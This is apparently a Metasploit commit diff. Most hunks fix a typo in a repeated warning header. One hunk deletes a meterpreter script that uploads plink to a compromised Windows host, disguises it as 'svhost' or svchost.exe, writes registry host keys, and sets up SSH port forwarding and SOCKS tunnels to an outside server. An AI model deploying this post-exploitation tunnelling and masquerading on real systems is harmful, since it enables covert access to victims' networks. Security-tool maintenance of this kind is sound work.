||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
||||
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,6 +1,6 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# If you'd like to improve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
@ -1,455 +0,0 @@
|
||||
##
|
||||
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
||||
# If you'd like to imporve this script, please try to port it as a post
|
||||
# module instead. Thank you.
|
||||
##
|
||||
|
||||
|
||||
#
|
||||
# Meterpreter script to deploy & run the "plink" commandline ssh-client
|
||||
# supports only MS-Windows-2k/XP/Vista Hosts
|
||||
#
|
||||
# Version 1.0
|
||||
# written by illegalguy
|
||||
#
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
meter_type = client.platform
|
||||
|
||||
#
|
||||
# Options
|
||||
#
|
||||
|
||||
@@exec_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "This help menu"],
|
||||
"-f" => [ true, "Do not download plink.exe but use given file."],
|
||||
"-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"],
|
||||
"-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"],
|
||||
"-p" => [ true, "The port of the remote SSH-server (Default:22)"],
|
||||
"-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"],
|
||||
"-P" => [ true, "login with specified password"],
|
||||
"-b" => [ false, "disable all interactive prompts"],
|
||||
"-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"],
|
||||
"-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"],
|
||||
"-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"],
|
||||
"-C" => [ false, "enable compression"],
|
||||
"-X" => [ false, "enable X11 forwarding"],
|
||||
"-x" => [ false, "disable X11 forwarding"],
|
||||
"-A" => [ false, "enable agent forwarding"],
|
||||
"-a" => [ false, "disable agent forwarding"],
|
||||
"-1" => [ false, "use SSH-protocol-version 1"],
|
||||
"-2" => [ false, "use SSH-protocol-version 2"],
|
||||
"-4" => [ false, "use IPv4"],
|
||||
"-6" => [ false, "use IPv6"],
|
||||
"-i" => [ true, "private key-file for authentication"],
|
||||
"-m" => [ true, "read remote command from file"],
|
||||
"-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"],
|
||||
"-N" => [ false, "Don`t start a shell/command (SSH2 only)"],
|
||||
"-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"],
|
||||
"-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"],
|
||||
"-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"],
|
||||
"-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"],
|
||||
"-v" => [ false, "Give additional (debugging-)output"]
|
||||
)
|
||||
|
||||
def usage
|
||||
print_line("plink ssh-client deploy+run script")
|
||||
print_line("This script will upload and run a plink ssh-cient")
|
||||
print_line(@@exec_opts.usage)
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
# Wrong Meterpreter Version Message Function
|
||||
#-------------------------------------------------------------------------------
|
||||
def wrong_meter_version(meter = meter_type)
|
||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
#
|
||||
# Default parameters
|
||||
#
|
||||
|
||||
plink = File.join(Msf::Config.data_directory, "plink.exe")
|
||||
|
||||
#plinkurl = 'http://the.earth.li/~sgtatham/putty/latest/x86/plink.exe'
|
||||
#plinkurl = 'http://the.earth.li/~sgtatham/putty/0.60/x86/plink.exe'
|
||||
plinkurl = 'http://updates.metasploit.com/data/win32-ssh/plink.exe'
|
||||
license = <<-EOS
|
||||
PuTTY is copyright 1997-2010 Simon Tatham.
|
||||
Portions copyright Robert de Bath, Joris van Rantwijk, Delian Delchev, Andreas Schultz, Jeroen Massar, Wez Furlong, Nicolas Barry, Justin Bradford, Ben Harris, Malcolm Smith, Ahmad Khalifa, Markus Kuhn, Colin Watson, and CORE SDI S.A.
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
||||
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL SIMON TATHAM BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'
|
||||
EOS
|
||||
|
||||
|
||||
#
|
||||
# Define required functions
|
||||
#
|
||||
|
||||
def upload(client,file,trgloc = nil)
|
||||
if not ::File.exist?(file)
|
||||
raise "File to Upload does not exists!"
|
||||
else
|
||||
if trgloc == nil
|
||||
location = client.sys.config.getenv('TEMP')
|
||||
else
|
||||
location = trgloc
|
||||
end
|
||||
begin
|
||||
if file =~ /S*(.exe)/i
|
||||
fileontrgt = "#{location}\\svhost#{rand(100)}.exe"
|
||||
else
|
||||
fileontrgt = "#{location}\\TMP#{rand(100)}"
|
||||
end
|
||||
print_status("Uploading #{file}....")
|
||||
client.fs.file.upload_file(fileontrgt, file)
|
||||
print_status("#{file} successfully uploaded to #{fileontrgt}!")
|
||||
rescue ::Exception => e
|
||||
print_status("Error uploading file #{file}: #{e.class} #{e}")
|
||||
end
|
||||
end
|
||||
return fileontrgt
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Option parsing
|
||||
#
|
||||
username = nil
|
||||
password = nil
|
||||
rhost = nil
|
||||
rport = 22
|
||||
manual = nil
|
||||
hostkey = nil
|
||||
batchmode = nil
|
||||
remotefwd = nil
|
||||
localfwd = nil
|
||||
socksfwd = nil
|
||||
enablecompression = nil
|
||||
enablex11fwd = nil
|
||||
disablex11fwd = nil
|
||||
enableagentfwd = nil
|
||||
disableagentfwd = nil
|
||||
sshv1 = nil
|
||||
sshv2 = nil
|
||||
ipv4 = nil
|
||||
ipv6 = nil
|
||||
keyfile = nil
|
||||
cmdfile = nil
|
||||
sshsubsys = nil
|
||||
noshell = nil
|
||||
nctunnel = nil
|
||||
processname = "C:\\windows\\system32\\svchost.exe"
|
||||
verbose = nil
|
||||
filemode = nil
|
||||
downloaded = nil
|
||||
|
||||
@@exec_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
usage
|
||||
when "-H"
|
||||
if !val
|
||||
print_error("-H requires an argument !")
|
||||
usage
|
||||
end
|
||||
rhost = val
|
||||
|
||||
when "-f"
|
||||
if !val
|
||||
print_error("-f requires an argument !")
|
||||
usage
|
||||
end
|
||||
plink = val
|
||||
if not ::File.exist?(plink)
|
||||
print_error("Plink.exe not found/accessible!")
|
||||
usage
|
||||
end
|
||||
manual = true
|
||||
|
||||
when "-r"
|
||||
if !val
|
||||
print_error("-r requires an argument !")
|
||||
usage
|
||||
end
|
||||
hostkey = val
|
||||
|
||||
when "-p"
|
||||
rport = val.to_i
|
||||
|
||||
when "-U"
|
||||
if !val
|
||||
print_error("-u requires an argument !")
|
||||
usage
|
||||
end
|
||||
plinkurl = val
|
||||
|
||||
when "-u"
|
||||
if !val
|
||||
print_error("-u requires an argument !")
|
||||
usage
|
||||
end
|
||||
username = val
|
||||
|
||||
when "-P"
|
||||
if !val
|
||||
print_error("-P requires an argument !")
|
||||
usage
|
||||
end
|
||||
password = val
|
||||
|
||||
when "-b"
|
||||
batchmode = true
|
||||
|
||||
when "-R"
|
||||
if !val
|
||||
print_error("-R requires an argument !")
|
||||
usage
|
||||
end
|
||||
remotefwd = val
|
||||
|
||||
when "-L"
|
||||
if !val
|
||||
print_error("-L requires an argument !")
|
||||
usage
|
||||
end
|
||||
localfwd = val
|
||||
|
||||
when "-D"
|
||||
if !val
|
||||
print_error("-D requires an argument !")
|
||||
usage
|
||||
end
|
||||
socksfwd = val
|
||||
|
||||
when "-C"
|
||||
enablecompression = true
|
||||
|
||||
when "-X"
|
||||
enablex11fwd = true
|
||||
|
||||
when "-x"
|
||||
disablex11fwd = true
|
||||
|
||||
when "-A"
|
||||
enableagentfwd = true
|
||||
|
||||
when "-a"
|
||||
disableagentfwd = true
|
||||
|
||||
when "-1"
|
||||
sshv1 = true
|
||||
|
||||
when "-2"
|
||||
sshv2 = true
|
||||
|
||||
when "-4"
|
||||
ipv4 = true
|
||||
|
||||
when "-6"
|
||||
ipv6 = true
|
||||
|
||||
when "-i"
|
||||
if !val
|
||||
print_error("-i requires an argument !")
|
||||
usage
|
||||
end
|
||||
keyfile = val
|
||||
if not ::File.exist?(keyfile)
|
||||
print_error("keyfile not found or not accessible!")
|
||||
usage
|
||||
end
|
||||
|
||||
when "-m"
|
||||
if !val
|
||||
print_error("-m requires an argument !")
|
||||
usage
|
||||
end
|
||||
cmdfile = val
|
||||
if not ::File.exist?(cmdfile)
|
||||
print_error("cmd-file not found/accessible!")
|
||||
usage
|
||||
end
|
||||
|
||||
when "-s"
|
||||
sshsubsys = true
|
||||
|
||||
when "-N"
|
||||
noshell = true
|
||||
|
||||
when "-n"
|
||||
if !val
|
||||
print_error("-n requires an argument !")
|
||||
usage
|
||||
end
|
||||
nctunnel = val
|
||||
|
||||
when "-E"
|
||||
if !val
|
||||
print_error("-E requires an argument !")
|
||||
usage
|
||||
end
|
||||
processname = val
|
||||
|
||||
when "-v"
|
||||
verbose = true
|
||||
|
||||
when "-F"
|
||||
filemode = true
|
||||
|
||||
else
|
||||
print_error("Unknown option: #{opt}")
|
||||
usage
|
||||
end
|
||||
}
|
||||
|
||||
# Check for Version of Meterpreter
|
||||
wrong_meter_version(meter_type) if meter_type != 'windows'
|
||||
|
||||
|
||||
if not rhost or not username
|
||||
print_status("You must specify a hostname (-H) and username (-u)")
|
||||
raise Rex::Script::Completed
|
||||
end
|
||||
|
||||
#
|
||||
# Check if plink-file exists, and if not : download from putty-site first
|
||||
# Ask user before downloading
|
||||
#
|
||||
if not manual
|
||||
if not ::File.exist?(plink)
|
||||
print_status("plink.exe could not be found. Downloading it now...")
|
||||
print_status(license)
|
||||
plinkexe = Net::HTTP.get URI.parse(plinkurl)
|
||||
File.open(plink, "wb") { |fd| fd.write(plinkexe) }
|
||||
print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.")
|
||||
downloaded = true
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Uploading files to target
|
||||
#
|
||||
cmdfileontrgt = upload(client, cmdfile) if cmdfile
|
||||
keyfileontrgt = upload(client, keyfile) if keyfile
|
||||
|
||||
trg_filename = nil
|
||||
if filemode
|
||||
print_status("-------Uploading plink -------")
|
||||
trg_filename = upload(client, plink)
|
||||
else
|
||||
trg_filename = plink
|
||||
end
|
||||
|
||||
#
|
||||
# Build parameter-string
|
||||
#
|
||||
params = "-ssh "
|
||||
params << "-P #{rport} " if not rport == 22
|
||||
params << "-l #{username} "
|
||||
params << "-pw #{password} " if password
|
||||
params << "-batch " if batchmode
|
||||
params << "-R #{remotefwd} " if remotefwd
|
||||
params << "-L #{localfwd} " if localfwd
|
||||
params << "-D #{socksfwd} " if socksfwd
|
||||
params << "-C " if enablecompression
|
||||
params << "-X " if enablex11fwd
|
||||
params << "-x " if disablex11fwd
|
||||
params << "-A " if enableagentfwd
|
||||
params << "-a " if disableagentfwd
|
||||
params << "-1 " if sshv1
|
||||
params << "-2 " if sshv2
|
||||
params << "-4 " if ipv4
|
||||
params << "-6 " if ipv6
|
||||
params << "-m #{cmdfileontrgt} " if cmdfileontrgt
|
||||
params << "-i #{keyfileontrgt} " if keyfileontrgt
|
||||
params << "-s " if sshsubsys
|
||||
params << "-N " if noshell
|
||||
params << "-nc #{nctunnel} " if nctunnel
|
||||
|
||||
params << rhost
|
||||
|
||||
|
||||
#
|
||||
# Set Registry-Value before running the client, if the param was specified
|
||||
#
|
||||
hostkeyname = nil
|
||||
if not hostkey == nil
|
||||
hostkeyname = "rsa2@#{rport}:#{rhost}"
|
||||
print_status("Writing the Hostkey to the registry...")
|
||||
client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}")
|
||||
end
|
||||
|
||||
#
|
||||
# Give additional output when -v is set
|
||||
#
|
||||
if verbose
|
||||
print_status("You set the following parameters for plink :")
|
||||
print_status(params)
|
||||
print_status(processname)
|
||||
end
|
||||
|
||||
#
|
||||
# Execute the client
|
||||
#
|
||||
|
||||
